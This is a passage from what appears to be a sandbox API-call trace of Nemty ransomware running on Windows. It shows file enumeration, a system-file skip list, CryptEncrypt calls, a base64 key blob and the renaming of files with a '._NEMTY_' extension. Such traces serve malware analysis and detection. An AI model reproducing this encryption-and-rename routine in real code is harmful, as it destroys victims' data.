lpOverlapped=0x0) returned 0 [0148.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.928] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.937] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.937] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.946] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.946] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.946] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.946] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.956] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.956] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.956] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.956] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.965] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.966] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.975] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.975] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.984] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.984] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.993] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.993] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.003] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.003] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.009] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.009] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.015] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.015] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0149.015] CloseHandle (hObject=0xffffffff) returned 0 [0149.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0149.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0149.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0149.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0149.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0149.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0149.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0149.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0149.015] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_hov.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_hov.png._nemty_kgobjgd_")) returned 0 [0149.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0149.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0149.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0149.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0149.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0149.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0149.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0149.016] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daf40bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb58, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="prev_rest.png", cAlternateFileName="")) returned 1 [0149.016] lstrcmpiW (lpString1="prev_rest.png", lpString2=".") returned 1 [0149.016] lstrcmpiW (lpString1="prev_rest.png", lpString2="..") returned 1 [0149.016] lstrcmpiW (lpString1="prev_rest.png", lpString2="...") returned 1 [0149.016] lstrcmpiW (lpString1="prev_rest.png", lpString2="windows") returned -1 [0149.016] lstrcmpiW (lpString1="prev_rest.png", lpString2="$RECYCLE.BIN") returned 1 [0149.016] lstrcmpiW (lpString1="prev_rest.png", lpString2="rsa") returned -1 [0149.016] lstrcmpiW (lpString1="prev_rest.png", lpString2="NTDETECT.COM") returned 1 [0149.016] lstrcmpiW (lpString1="prev_rest.png", lpString2="ntldr") returned 1 [0149.016] lstrcmpiW (lpString1="prev_rest.png", lpString2="MSDOS.SYS") returned 1 [0149.016] lstrcmpiW (lpString1="prev_rest.png", lpString2="IO.SYS") returned 1 [0149.016] lstrcmpiW (lpString1="prev_rest.png", lpString2="boot.ini") returned 1 [0149.016] lstrcmpiW (lpString1="prev_rest.png", lpString2="boot.ini") returned 1 [0149.016] lstrcmpiW (lpString1="prev_rest.png", lpString2="AUTOEXEC.BAT") returned 1 [0149.016] lstrcmpiW (lpString1="prev_rest.png", lpString2="ntuser.dat") returned 1 [0149.016] lstrcmpiW (lpString1="prev_rest.png", lpString2="desktop.ini") returned 1 [0149.016] lstrcmpiW (lpString1="prev_rest.png", lpString2="CONFIG.SYS") returned 1 [0149.016] lstrcmpiW (lpString1="prev_rest.png", lpString2="RECYCLER") returned -1 [0149.016] lstrcmpiW (lpString1="prev_rest.png", lpString2="BOOTSECT.BAK") returned 1 [0149.016] lstrcmpiW (lpString1="prev_rest.png", lpString2="bootmgr") returned 1 [0149.016] lstrcmpiW (lpString1="prev_rest.png", lpString2="programdata") returned -1 [0149.016] lstrcmpiW (lpString1="prev_rest.png", lpString2="appdata") returned 1 [0149.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_rest.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_rest.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prev_rest.png", lpUsedDefaultChar=0x0) returned 13 [0149.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0149.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_rest.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_rest.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prev_rest.png", lpUsedDefaultChar=0x0) returned 13 [0149.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0149.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_rest.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_rest.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prev_rest.png", lpUsedDefaultChar=0x0) returned 13 [0149.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_rest.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_rest.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prev_rest.png", lpUsedDefaultChar=0x0) returned 13 [0149.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0149.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0149.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0149.017] Sleep (dwMilliseconds=0x5) [0149.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xc78f410, dwHighDateTime=0x1d561e8)) [0149.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xc78f410, dwHighDateTime=0x1d561e8)) [0149.025] GetLastError () returned 0x5 [0149.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0149.025] GetLastError () returned 0x5 [0149.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0149.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0149.025] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0149.025] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0149.025] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0149.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0149.025] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="WEywcb2wa6UpU9R40xNSSSuhgEFuxxq3BsHGnt/Xnmg3L0P3RE7GExRAEewnlxrT\r\ndoQ6CXyabXC1vhlvvLNNK3fSJ5OYhvd7xrMmZ4uh4+IP7WEsA40XlUX0QafBtz4e\r\nzBbhFIW/6aWUj65MBwFaL3RGe7k796a5pQVCxaf4cJZJzMM5aZjiMv84Uh4NW/EA\r\n1NeQtrzIVfDMhlcmymNNUaeAqyS6loGJwrgj0BtjCLWCiEzd9RmQJPfv4tlRSb7a\r\nwrZtTocNtefhlxzV4EcdXLluRW5/59ABu5POwicmLWHRslXdwasONW6iIe/8TAmM\r\n6WhC2GjH8hy8autefiTGHQ==\r\n", pcchString=0x653e91c) returned 1 [0149.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0149.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0149.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0149.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0149.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0149.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0149.025] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_rest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0149.026] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0149.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0149.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.026] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.035] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.036] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.045] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.045] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.045] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.045] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.055] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.055] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.064] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.064] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.073] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.073] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.073] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.073] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.082] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 